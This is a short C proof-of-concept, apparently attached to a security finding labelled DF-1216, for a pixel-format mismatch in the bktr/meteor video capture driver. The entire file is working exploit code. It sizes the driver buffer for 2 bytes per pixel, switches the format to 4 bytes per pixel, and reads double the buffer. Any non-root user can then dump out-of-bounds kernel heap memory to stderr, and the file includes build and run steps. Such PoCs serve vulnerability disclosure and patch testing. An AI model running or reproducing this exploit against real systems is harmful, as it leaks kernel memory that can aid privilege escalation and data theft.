DF-1216 / poc_bpp_mismatch.c
/* * DF-1216 PoC: METEORSETGEO + METEORSACTPIXFMT pixel-format mismatch * * Allocates bigbuf with YUV_422 (Bpp=2), then switches pixfmt to RGB 4Bpp. * read() returns 2x the buffer size -> OOB kernel heap info leak. * * Build: cc -O2 -Wall -o poc_bpp_mismatch poc_bpp_mismatch.c * Run: ./poc_bpp_mismatch (as ANY non-root user) * Expect: read() returns 8MB; second half is leaked kernel heap */ #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <stdio.h> #include <stdlib.h> #include <dev/video/meteor/ioctl_meteor.h> #include <dev/video/bktr/ioctl_bt848.h> int main(void) { int fd = open("/dev/bktr0", O_RDONLY); if (fd < 0) { perror("open"); return 1; } /* Allocate bigbuf sized for YUV_422 (Bpp=2). */ struct meteor_geomet g; g.rows = 2046; g.columns = 1022; g.frames = 1; g.oformat = METEOR_GEO_YUV_422; if (ioctl(fd, METEORSETGEO, &g)) { perror("METEORSETGEO"); return 1; } /* Switch pixfmt to RGB 4Bpp - bigbuf is NOT resized. */ int pixfmt = 5; /* pixfmt_table[5] = RGB 4 Bpp */ if (ioctl(fd, METEORSACTPIXFMT, &pixfmt)) { perror("METEORSACTPIXFMT"); return 1; } /* count = 2046*1022*4 = 8,364,048 bytes; bigbuf holds only ~4 MiB. */ size_t sz = (size_t)2046 * 1022 * 4; unsigned char *buf = malloc(sz); if (!buf) { perror("malloc"); return 1; } ssize_t n = read(fd, buf, sz); if (n < 0) { perror("read"); return 1; } fprintf(stderr, "read %zd bytes; tail is leaked kernel heap\n", n); /* Second half of buf[] is leaked kernel memory past the end of bigbuf. */ write(2, buf + sz/2, sz/2); free(buf); return 0; } |